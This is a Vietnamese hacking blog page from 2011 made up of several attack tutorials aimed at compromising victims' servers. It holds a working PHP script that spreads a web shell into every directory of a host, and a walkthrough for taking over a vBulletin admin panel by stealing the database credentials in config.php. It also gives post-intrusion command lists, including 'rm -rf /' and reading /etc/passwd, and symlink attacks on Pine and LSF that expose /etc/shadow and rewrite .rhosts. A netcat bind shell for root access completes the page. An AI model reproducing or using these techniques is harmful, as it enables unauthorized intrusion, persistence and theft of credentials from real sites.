Tuesday, November 8, 2011

Code phát tán shell trong Host victim


Đặt con này cùng thư mục với con shell.
Thay dòng dưới cho phù hợp:

CODE:
$shell = "ten_con_shell.php";


Sau đó gõ địa chỉ lên trình duyệt, nó sẽ copy vào tất cả thư mục con.
Tốt nhất nên để ở thư mục gốc của site để phát tán nhiều hơn.

$shell = “ten_con_shell.php”;
$host = $_SERVER['HTTP_HOST'];
$root_dir = dirname(__FILE__);
echo $root_dir.”
“;
lk(realpath(“./”));
function lk($d)
{
global $host;
global $root_dir;
global $shell;
//echo “=====$d======
“;
if ($handle = opendir($d))
{
$dir_array = array();
while ($file = readdir($handle)) {
if($file!=”.”&&$file!=”..”)
{
$realpath = $d.”/”.$file;
if(is_dir($realpath))
$dir_array[]=$realpath;
}
}
}
for($i=0;$i {
$new_name = rand(0, 1000).”.php”;
$tmp = $dir_array[$i];
echo “http://”.str_replace($root_dir,$host,$tmp).”/”.$new_name.”
“;
copy($shell,$dir_array[$i].”\\”.$new_name);
//echo $dir_array[$i].”
“;
}
for($i=0;$i lk($dir_array[$i]);
closedir($handle);
}
?>

Kỹ thuật by pass Htaccess trong admincp ở 1 số loại forum

Bỏ qua việc bạn có được shell trên host với victim bằng cách nào, mục đích tiếp theo của bạn là tiếp cận vào database của victim qua file config.php sau đó thử crack hoặc update nick admin để vào admincp mà tham quan và để lại vài pé "Bự".
Hôm nay tôi sẽ hướng dẫn cho các bạn kỹ thuật By pass Htaccess được đặt trong admincp

Tôi xin lấy một ví dụ là hack VBB forum để làm mẫu chung cho các kiểu Portal hay forum khác.

Bước 1: Xác định URL website cần hack.
- Xác định hosting của website mà victim đang sử dụng để từ đó xác định phương pháp local và lấy info Database.
- Xác định path của file config http://victim.com/forum/include/config.php đối với vbb
Chú ý là phải tìm đúng URL Root chứ không phải redirect hay forward ..

Bước 2: Xác định DB info của Victim
Điều này rất dơn giản khi bạn với victim đang cùng trên một Local
Thật vậy có thể là /home/user_root/public_html/mysite/ hay /home/user_root/httpdocs/mysite/ tuỳ thuộc Control Panel của Server là lọai gì (Cpanel, Plesk,...). Nhưng điều này không cần chú ý.

Sau đó làm mọi cách để có được info DB trong file config.php.

Bao gồm:
$config['Database']['dbname'] = 'idhteam_forum';
$config['MasterServer']['username'] = 'idhteam';
$config['MasterServer']['password'] = '123456';


Bước 3: Kiểm tra mật khẩu mà bạn vừa lấy được.
Với nick Admin trong forum và tất cả những gì có thể liên quan như password e-mail, hosting, domain .. Vì có thể nạn nhân dùng 1 password cho tất cả những mật khẩu của mình cho đỡ quên. Đây là một trong những thói quen chết người
Nếu mà thành công thì dừng tại đây nếu không hãy sang bước thứ 4

Bước 4: Tạo một mirror forum.
4.1 Nghĩa là sao, bạn hãy upload một phpBB forum cùng phiên bản với victim vào hosting của bạn http://mysite.com/forum/
Và đừng Install forum này nếu bạn muốn hack nó.
4.2 Edit Config forum vừa upload
Bạn hãy edit config cho forum của bạn thực sự là một mirror của victim's forum.
Điều đó có nghĩa là bạn phải link DB đến DB của victim, điều đó thật dễ dàng khi bạn đã có được DB info của victim trong tay.
4.3 Thử lại
Bạn thử gõ http://mysite.com/forum/ xem, nếu mà forum của bạn có các thông số y hệt như của http://victim.com/forum/ tức là bạn đã thành công bước này
Notice: bước này có thể dễ dàng thực hiện hơn nếu bạn scan được Pass FTP hoặc Pass cpanel của những hosting khác thông qua việc brute Foce chẳn hạn.

Bước 5: Sửa mã nguồn Mirror Site
Mục đích bước này là bạn sẽ sửa mã nguồn forum của bạn đề bạn có thể Login vào được Admin panel của nó.
- Sau đó chọn mật khẩu chung cho toàn bộ các nick.
- Include shell vào Database.

Bước 6: Truy cập vào website victim và hưởng thụ thành quả lao động


P/s: bài viết này chỉ mang tính chất tham khảo mình làm cho newbi xem nên pro đừng chê cười .

[New]Một số lệnh hữu dụng khi đã xâm nhập được vào hệ thống có shell

Khi xâm nhập được vào hệ thống có shell(shell gì thì tùy các bạn) và tùy vào mỗi os mà chúng ta xâm nhập mà thực thi lệnh,sau đây là một số lệnh cơ bản khi attack vào hệ thống có shell

Đối với linux

cat ./../mainfile.php - Config file.
ls -la - Lists directory's.
ifconfig {eth0 etc} - Ipconfig equiv.
ps aux - Show running proccess's.
gcc in_file -o out_file - Compile c file.
cat /etc/passwd - List's accounts.
sudo - Superuser Do run a command as root provided you have perms in /etc/sudoers.
id - Tells you what user your logged in as.
which wget curl w3m lynx - Check's to see what downloaders are present.
uname -r - Shows all release info (or) cat /etc/release.
uname -a - Shows all kernal info (or) cat /etc/issue
last -30 - Last logged 30 ip's can change to desired number.
useradd - Create new user account.
usermod - Modify user account.
w - See who is currently logged on.
locate password.txt - Locates password.txt in current dur can use *.
rm -rf / - Please be carefull with this command, i cannot stress this enough.
arp -a - Lists other machines are on the same subnet.
lsattr -va - ls file attributes on linux second extended file system
find / -type f -perm -04000 -ls - Finds suid files.
find . -type f -perm -04000 -ls - Finds suid files in current dir.
find / -type f -perm -02000 -ls - Finds all sgid files.
find / -perm -2 -ls - Finds all writable files and folders.
find . -perm -2 -ls - Finds all writable files and folders in current dir.
find / -type f -name .bash_history - Finds bash history.
netstat -an | grep -i listen - shows open ports.
cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user with no pass.
find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.
cat /proc/version /proc/cpuinfo - Cpu info.
locate gcc- Finds gcc if installed.
set - Display system variables.
echo $path- Echo current path.
lsmod- Dumps kernal modules.
mount/df- Check mounted file system.
rpm -qa- Check patch level for RedHat 7.0.
dmesg- Check hardware ino.
cat /etc/syslog.conf - Log file.
uptime - Uptime check.
cat /proc/meminfo - Memory check.
find / -type f -perm -4 -print 2> /dev/null- Find readble files.
find / -type f -perm -2 -print 2> /dev/null - Find writable files.
chmod ### $folder - Chmod folder.
ls -l -b - Verbosly list directory's


Đối với windowns

ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes

BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions
CALL Call one batch program from another
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colours of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
CSVDE Import or Export Active Directory data

DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory

ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the CMD shell
EXPAND Uncompress files
EXTRACT Uncompress CAB files

FC Compare two files
FDISK Disk Format and partition
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR Conditionally perform a command several times
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line

HELP Online Help
HFNETCHK Network Security Hotfix Checker

IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file

MAPISEND Send email from the command line
MEM Display memory usage
MD Create new folders
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)

NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights

PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Read, Set or Delete registry keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files.
REPLACE Replace or update one file with another
RD Delete folder(s)
RDISK Create a Recovery Disk
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
ScriptIt Control GUI applications
SET Display, set, or remove environment variables
SETLOCAL Begin localisation of environment changes in a batch file
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
START Start a separate window to run a specified program or command
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

TASKLIST List running applications and services
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file

USRSTAT List domain usernames and last login

VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label

WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands

XCACLS Change file permissions
XCOPY Copy files and folders

Hack Local nâng cao

Bài viết nâng cao dùng cho attack unix
1) Race Conditions Attack
Race Conditions (tình trạng tranh đua) = = > Một trong những cuộc tấn công phổ biến trên các hệ thống Unix/Linux
Race Conditions xảy ra khi một chương trình hoặc quy trình xử lý nào đó thực hiện một sự kiểm tra. Giữa thời gian mà một sự kiểm tra được làm và hoạt động được thực hiện, kết quả của cuộc kiểm tra đó có thể sẽ phản chiếu trạng thái của hệ thống. Hacker sẽ lợi dụng chương trình hoặc quy trình này trong lúc nó thực hiện đặc quyền.
Những chỗ yếu để làm nền tảng cho các cuộc tấn công Race Editions thường xuất hiện trong những chương trình yêu cầu những tập tin tạm thời. Như đoạn Code sau:

#!/bin/sh -
TMPFILE=/tmp/foo.$$
if test -x $TMPFILE; then
echo "temporary file already exists, possible attack"
exit 255
fi
#Creat our temporary file
date > $TMPFILE
(actual Script goes here)
rm $TMPFILE
Nó sẽ gắng tạo một tập tin tạm thời ở trong /tmp gọi là /tmp/foo.$$ = = > Phải chắc chắn rằng file này không tồn tại trước khi nó được Creat. Mặc dù file /tmp/foo.$$ có thể không tồn tại trước khi đoạn Code này được thực thi. Nhưng nó có thể được tạo ra trước những Command ngày tháng tạo các file excute ở trước. Hiểu nôm na là làm rối loạn hệ thống bởi ngày tháng tạo các file. Đây là cơ hội cho các Hacker...Nếu thành công họ có thể Excute các file or các program hoặc bị thoát ra với những thông báo lỗi về ngày tháng.
Nếu Script được chạy như một Cron Job, thì thông báo error sẽ không chỉ được báo đến một người. Hacker có thể trực tiếp thử Excute các Program đặc quyền. Để các cuộc tấn công theo kiểu này có hiệu quả. Hacker có thể tạo ra, gây lên một sự quá tải trên hệ thống bị tấn công. Với hy vọng CPU sẽ chuyển đổi qua lại giữa các quá trình thường xuyên hơn = = > làm quá tải hay làm ngưng trệ hệ thống bị tấn công.
Hiệu ứng của các cuộc tấn công kiểu này phụ thuộc vào các program dễ bị tổn thương và các file của nó (cả file tạm). Như đã nêu ở trên các Hacker có thể cố gắng buộc người dùng ghi đè lên những file hệ thống bởi việc tạo ra các Symlink trước khi các Command về ngày tháng được thực hiện. Chẳng hạn như các Version cũ của GCC bị Bug Race Edition = = > thì các file tạm ở /tmp của nó sẽ dễ dàng bị các Hacker khai thác.
2) Pine Bug
Trên các hệ thống Unix/Linux thường có Pine. Một chương trình Mail nhỏ và tiện dụng. Pine các phiên bản 3.91 thường có Bug là để lại một log file tạm thời ở /tmp với Set Mode là 666. Nó thường được xuất hiện khi một phiên Pine được hoạt động hay khi có một thư mới ở trong Inbox.
Bây giờ bạn bắt đầu quan sát trạng thái các Process bằng lệnh "ps -aux" và gắng quan sát xem những user nào đang sử dụng Pine. Sau đó tạo Symlink đến file đó.
Bạn xem qua ví dụ sau: victim (nạn nhân), you (bạn)

victim@localhost#: pine

you@localhost#: ps -aux | grep pine

you 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
victim 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

you@localhost#: ls -al /tmp/ | grep victim
- - rw-rw-rw- 1 victim elite 4 Aug 26 19:05 .302.f5a4
302.f5a4 = = > file tạm của pine tạo thành ở /tmp
you@localhost# : ps -aux | grep pine
you 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
you@localhost# : ln -s /home/victim/.rhosts /tmp/.302.f5a4
Lại tiếp tục quan sát trạng thái:
you@localhost# : ps -aux | grep pine
you 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
victim 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
you@localhost# : echo"+ +" > /tmp/.302.f5a4
you@localhost# : cat /tmp/.302.f5a4+ +
you@localhost# : rm /tmp/.302.f5a4
Bây giờ chúng ta rlogin đến victim
you@localhost# : rlogin litterbox.org -l victim
WOW! bây giờ bạn đã Login thành công với user victim...
3) LSF Platform
LSF Platform của http://www.platform.com là một trong những Tool dùng để quản lý tài nguyên, ứng dụng theo dõi hoạt động và phân tích một hệ thống mạng máy tính Unix/Linux...
Tuy nhiên một số Version cũ của LSF có một số Bug khá nguy hiểm:
Vulnerability #1: Vấn đề với default log cấu hình mặc định khi cài đặt. Hacker có thể đọc bất cứ file nào trên hệ thống và dùng Hard Link để khai thác nó:
Khi cấu hình mặc định! Tất cả các file log của LSF đều được lưu giữ ở thư mục /tmp. Bằng cách sử dụng Sym Link các Hacker có thể đọc bất cứ file nào trên hệ thống:
ln -s /etc/shadow /tmp/lim.log.hostname
Khi Command được phát ra LSF sẽ nối những file log đến /etc/shadow và thay đổi Permission khiến mọi người có thể đọc nó.
Vulnerability #2: Vấn đề liên quan đến sự việc mà bất kỳ user nào cũng có thể có được các file cấu hình. Sự việc mà những user có thể sở hữu và tuỳ biến những file cấu hình rất nguy hiểm. Hacker có thể ra lệnh cho LSF làm những việc bất ngờ (dĩ nhiên là có hại cho hệ thống rồi).
Thay đổi LSF_ENVDIR như vậy nó sẽ hướng đến Home Directory của bạn:
you@localhost# : setenv LSF_ENVDIR /my/home/you
Copy các file cấu hình vào Home Directory của bạn:
you@localhost# : setenv LSF_ENVDIR /my/home/you
Thay đổi nội dung /my/home/dir/lsf.conf :
LSB_CMD_LOGDIR=/tmp/test
LSF_LOGDIR=/tmp/test
Bây giờ tạo /tmp/test :
you@localhost# : mkdir /tmp/test
Tiếp đến Sym Link file log của LSF đến /etc/shadow
you@localhost# : ln -s /etc/shadow /tmp/test/bqc.log.hostname
[ 'hostname' is your hostname ]
Bây giờ bạn cần tiếp tục bắt buộc những ứng dụng LSF tới bqc.log.hostname = = > Tất nhiên là nó cần có suid=root.
Như vậy bqc.log là ứng cử viên mà chúng ta cần. Tất cả những gì chúng ta cần là hỏi "bqc" về thông tin của hàng đợi không tồn tại.
you@localhost# : bqc -i dupa_zbita
"bqc" sẽ tìm ra ngoài mà không có hàng đợi như "dupa_zbita". Sau đó nó sẽ được lưu giữ vào log. nó sẽ sử dụng file config của chính mình /my/home/dir/lsf.conf
Vulnerability #3: Những sự bất thường bên trong "lsadmin" và "badmin". Hacker có thể khai thác sự bất thường này để Get Root. "lsadmin" và "badmin" được thực thi khi có UID = Root. Hơn nữa các Hacker còn có thể khai thác một số Bug "Buffer Overflow"
Chúng được xuất hiện khi "lsadmin" hoặc "badmin" đang cố gắng xác định thư mục môi trường của nó bới biến LSF_ENVDIR kiểm tra.
you@localhost# : setenv LSF_ENVDIR `perl -e 'print "A" x 292'`
you@localhost# : lsadmin [or badmin]
Segmentation fault
Nó đã bị Buffer Overflow...
Vulnerability #4: Bug này khá nguy hiểm...Hacker có thể làm tràn bộ đệm hay Get Root. Trong trường hợp không sẵn sàng sử dụng 'eauth' như một cơ chế chứng thực. Tất cả sự thực thi LSF được cài đặt với SUID = Root. Vấn đề này sẽ có thể dẫn đến lỗi tràn bộ đệm:
you@localhost# : bstatus `perl -e 'print "A" x 524'`
Bạn có thể đặt giá trị trên 524 nếu cần...
4) Get Root
Để Get Root bạn phải lợi dụng sự sơ hở về Permission của hệ thống. Thường thì /tmp được cấp phép khá lỏng lẻo. Đầu tiên bạn phải tạo một Shell đơn giản vào thư mục /tmp :
you@localhost# : cat /tmp/rootshell
#!/bin/bash
/bin/bash –I
Bây giờ ta lấy Netcat ra xài nào. Đặt Netcat ra Listen trên Port nào đó vào Shell mà ta mới tạo:
victim@localhost# : nc –vv –l –p 9999 –e /tmp/rootshell
listening on [any] 9999
Bây giờ bạn tiếp tục Connect đến Port 9999 mà bạn đặt Listen ở trên:
you@localhost#: nc –nvv hacked.machine.com 9999
hacked.machine.com [172.18.9.1] 9999 (?) open
stty: standard input: Invalid argument
root@localhost#: pwd
pwd
/root
Hy vọng qua bài viết này bạn đã phần nào hiểu được một số cách tấn công Unix…Unix không phải là một OS bất khả xâm phạm…phải không ?